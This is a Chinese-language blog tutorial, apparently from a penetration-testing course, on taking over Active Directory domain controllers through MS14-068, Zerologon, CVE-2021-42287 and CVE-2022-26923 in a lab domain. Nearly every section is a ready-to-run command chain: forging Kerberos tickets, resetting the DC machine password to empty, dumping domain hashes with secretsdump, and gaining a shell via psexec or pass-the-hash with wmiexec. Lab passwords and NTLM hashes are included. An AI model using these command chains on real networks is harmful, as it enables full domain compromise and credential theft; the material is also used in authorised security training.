权限提升-Win系统权限提升篇AD内网域控NetLogonADCSPACKDCCVE漏洞

2024-03-29 01:52
文章标签 系统 漏洞 ad 提升 权限 win 网域 netlogonadcspackdccve

本文主要是介绍权限提升-Win系统权限提升篇AD内网域控NetLogonADCSPACKDCCVE漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

知识点

1、WIN-域内用户到AD域控-CVE-2014-6324
2、WIN-域内用户到AD域控-CVE-2020-1472
3、WIN-域内用户到AD域控-CVE-2021-42287
4、WIN-域内用户到AD域控-CVE-2022-26923

章节点：
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

Windows提权：
1、内核溢出漏洞提权
2、数据库类型提权
3、第三方软件应用提权

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术：

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的：

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明：

后台权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成
数据库权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成
Web权限：RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限：弱口令,数据泄漏等直达或通过Web，服务器及域控转移造成
计算机系统权限：系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限：Docker不安全配置或漏洞权限提升直达（服务资产造成入口后提升）
域控制器权限：内网域计算机用户提升或自身内核漏洞，后门攻击，主机软件安全直达

3、以上常见权限获取后能操作的具体事情：

后台权限：文章管理，站点管理，模版管理，数据管理，上传管理等
数据库权限：操作数据库的权限，数据增删改查等（以数据库用户为主）
Web权限：源码查看，源码文件增删改查，磁盘文件文件夹查看(以权限配置为主)
计算机用户权限：就如同自己电脑上普通用户能操作的情况（敏感操作会被禁止）
计算机系统权限：就如同自己电脑上能操作的情况（整个系统都是你的）
宿主机权限：就如同自己电脑上能操作的情况（整个系统都是你的）
域控制器权限：就如同自己电脑上能操作的情况（整个内网域系统都是你的）

4、以上常见权限在实战中的应用场景介绍：

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

实战场景：

通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后，
与AD域控网络通讯正常的情况下，可直接使用域控提权CVE漏洞进行域控权限提升。

如何判断目标是否加入域环境？

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
或者

运行 net time /domain 该命令后，一般会有如下三种情况:
1.存在域，但当前用户不是域用户，提示说明权限不够C:\Windows>net time /domain发生系统错误 5 拒绝访问.2.存在域，并且当前用户是域用户C:\Windows\Temp>net time /domain\\OWA2010SP3.0day.org 的当前时间是 2020/1/25 16:12:49令成功完成。3.当前网络环境为工作组，不存在域C:\Users\Administrator>net time /domain找不到域 WORKGROUP 的域控制器。

在这里插入图片描述
在这里插入图片描述

一、演示案例-WIN-AD域控提权-CVE-2014-6324

项目地址

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/mimikatz
https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools

前提条件：需要域用户账号密码

1、 获取域用户SID值

 whoami /user

在这里插入图片描述

2、从域控获取时间，从而得到域控主机名

net time /domain

在这里插入图片描述

3、获取域控IP

ping 域控计算机名

在这里插入图片描述

4、获取当前域用户的一些信息

net config workstation

在这里插入图片描述

5、利用 ms14-068.exe 提权工具生成伪造的 kerberos 协议认证证书

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org

在这里插入图片描述

6、mimikatz导入伪造的 kerberos 协议认证证书

查看当前本地票据

kerberos::list

清理本地票据缓存

kerberos::purge

在这里插入图片描述

导入伪造的 kerberos 协议认证证书

kerberos::ptc "TGT_test02@test.lab.ccache"

在这里插入图片描述
在这里插入图片描述

7、尝试链接域控C盘

dir \\OWA2010CN-God.god.org\C$

在这里插入图片描述

8、使用psexec获取域控cmd权限

psexec \\OWA2010CN-God.god.org cmd

在这里插入图片描述

二、演示案例-WIN-AD域控提权-CVE-2020-1472

项目地址

POC：https://github.com/SecuraBV/CVE-2020-1472
EXP：https://github.com/dirkjanm/CVE-2020-1472
Impacket：https://github.com/fortra/impacket

CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞，
影响Windows Server 2008R2至Windows Server 2019的多个版本系统，
只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.
该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.

1、漏洞检测

python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21

在这里插入图片描述

2、重置域控为空密码

python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

在这里插入图片描述

3、连接后导出域控hash

python3 secretsdump.py god.org/OWA2010CN-GOD\$@192.168.3.21 -no-pass

在这里插入图片描述
在这里插入图片描述

4、WMI连接域控

python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

在这里插入图片描述

注：拿到域控权限后记得恢复域控hash，不然域内主机可能通信会出问题

参考地址：https://cloud.tencent.com/developer/article/2097955

三、演示案例-WIN-AD域控提权-CVE-2021-42287

项目地址

https://github.com/WazeHell/sam-the-admin

前提：只需要域内主机用户账号密码

python3 sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

在这里插入图片描述
在这里插入图片描述

四、演示案例-WIN-AD域控提权-CVE-2022-26923

项目地址

https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
https://github.com/SecureAuthCorp/impacket

前提条件：
1、一个域内普通账号
2、域内存在证书服务器

Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local域内信息
192.168.3.111
test Pass123  //普通域用户账号密码
xiaodi-DC-CA //ca名
DC.xiaodi.local  //域控名

0、获取CA结构名和计算机名

certutil -config - -ping

在这里插入图片描述

1、申请证书（Certipy工具）

certipy req 'xiaodi.local/test:Pass123@DC.xiaodi.local' -ca xiaodi-DC-CA -template User -debug

在这里插入图片描述

2、检测证书（Certipy工具）

certipy auth -pfx test.pfx

在这里插入图片描述

3、添加用户（bloodyAD工具）

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'

在这里插入图片描述

4、设置属性（bloodyAD工具）

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'

在这里插入图片描述

5、申请证书（Certipy工具）

certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug

在这里插入图片描述

6、检测证书：（Certipy工具）

certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111

在这里插入图片描述

7、获取HASH（impacket工具）

python3 secretsdump.py 'xiaodi.local/dc$@DC.xiaodi.local' -hashes :b6046c1026699b59301ff66341838df4

在这里插入图片描述

8、利用HASH（impacket工具）

python3 wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

在这里插入图片描述

这篇关于权限提升-Win系统权限提升篇AD内网域控NetLogonADCSPACKDCCVE漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/857289。

相关文章

ubuntu20.0.4系统中安装Anaconda的超详细图文教程

ubuntu20.0.4系统中安装Anaconda的超详细图文教程

《ubuntu20.0.4系统中安装Anaconda的超详细图文教程》：本文主要介绍了在Ubuntu系统中如何下载和安装Anaconda，提供了两种方法，详细内容请阅读本文，希望能对你有所帮助... 本文介绍了在Ubuntu系统中如何下载和安装Anaconda。提供了两种方法，包括通过网页手动下载和使用wg
阅读更多...
ubuntu系统使用官方操作命令升级Dify指南

ubuntu系统使用官方操作命令升级Dify指南

《ubuntu系统使用官方操作命令升级Dify指南》Dify支持自动化执行、日志记录和结果管理，适用于数据处理、模型训练和部署等场景，今天我们就来看看ubuntu系统中使用官方操作命令升级Dify的方... Dify 是一个基于 docker 的工作流管理工具，旨在简化机器学习和数据科学领域的多步骤工作流。
阅读更多...
使用Python和SQLAlchemy实现高效的邮件发送系统

使用Python和SQLAlchemy实现高效的邮件发送系统

《使用Python和SQLAlchemy实现高效的邮件发送系统》在现代Web应用中,邮件通知是不可或缺的功能之一,无论是订单确认、文件处理结果通知,还是系统告警,邮件都是最常用的通信方式之一,本文将详... 目录引言1. 需求分析2. 数据库设计2.1 User 表（存储用户信息）2.2 CustomerO
阅读更多...
Linux系统调试之ltrace工具使用与调试过程

Linux系统调试之ltrace工具使用与调试过程

《Linux系统调试之ltrace工具使用与调试过程》：本文主要介绍Linux系统调试之ltrace工具使用与调试过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、ltrace 定义与作用二、ltrace 工作原理1. 劫持进程的 PLT/GOT 表2. 重定
阅读更多...
Springboot实现推荐系统的协同过滤算法

Springboot实现推荐系统的协同过滤算法

《Springboot实现推荐系统的协同过滤算法》协同过滤算法是一种在推荐系统中广泛使用的算法,用于预测用户对物品（如商品、电影、音乐等）的偏好,从而实现个性化推荐,下面给大家介绍Springboot... 目录前言基本原理 算法分类 计算方法应用场景 代码实现 前言协同过滤算法（Collaborativ
阅读更多...
Windows系统宽带限制如何解除?

Windows系统宽带限制如何解除?

《Windows系统宽带限制如何解除?》有不少用户反映电脑网速慢得情况,可能是宽带速度被限制的原因,只需解除限制即可,具体该如何操作呢？本文就跟大家一起来看看Windows系统解除网络限制的操作方法吧... 有不少用户反映电脑网速慢得情况，可能是宽带速度被限制的原因，只需解除限制即可，具体该如何操作呢？本文
阅读更多...
CentOS和Ubuntu系统使用shell脚本创建用户和设置密码

CentOS和Ubuntu系统使用shell脚本创建用户和设置密码

《CentOS和Ubuntu系统使用shell脚本创建用户和设置密码》在Linux系统中,你可以使用useradd命令来创建新用户,使用echo和chpasswd命令来设置密码,本文写了一个shell... 在linux系统中,你可以使用useradd命令来创建新用户,使用echo和chpasswd命令来设
阅读更多...
电脑找不到mfc90u.dll文件怎么办? 系统报错mfc90u.dll丢失修复的5种方案

电脑找不到mfc90u.dll文件怎么办? 系统报错mfc90u.dll丢失修复的5种方案

《电脑找不到mfc90u.dll文件怎么办?系统报错mfc90u.dll丢失修复的5种方案》在我们日常使用电脑的过程中，可能会遇到一些软件或系统错误，其中之一就是mfc90u.dll丢失,那么，mf... 在大部分情况下出现我们运行或安装软件，游戏出现提示丢失某些DLL文件或OCX文件的原因可能是原始安装包
阅读更多...
电脑显示mfc100u.dll丢失怎么办？系统报错mfc90u.dll丢失5种修复方案

电脑显示mfc100u.dll丢失怎么办？系统报错mfc90u.dll丢失5种修复方案

《电脑显示mfc100u.dll丢失怎么办？系统报错mfc90u.dll丢失5种修复方案》最近有不少兄弟反映，电脑突然弹出“mfc100u.dll已加载，但找不到入口点”的错误提示，导致一些程序无法正... 在计算机使用过程中，我们经常会遇到一些错误提示，其中最常见的就是“找不到指定的模块”或“缺少某个DL
阅读更多...
Win安装MySQL8全过程

Win安装MySQL8全过程

《Win安装MySQL8全过程》：本文主要介绍Win安装MySQL8全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Win安装mysql81、下载MySQL2、解压文件3、新建文件夹data，用于保存数据库数据文件4、在mysql根目录下新建文件my.ini
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2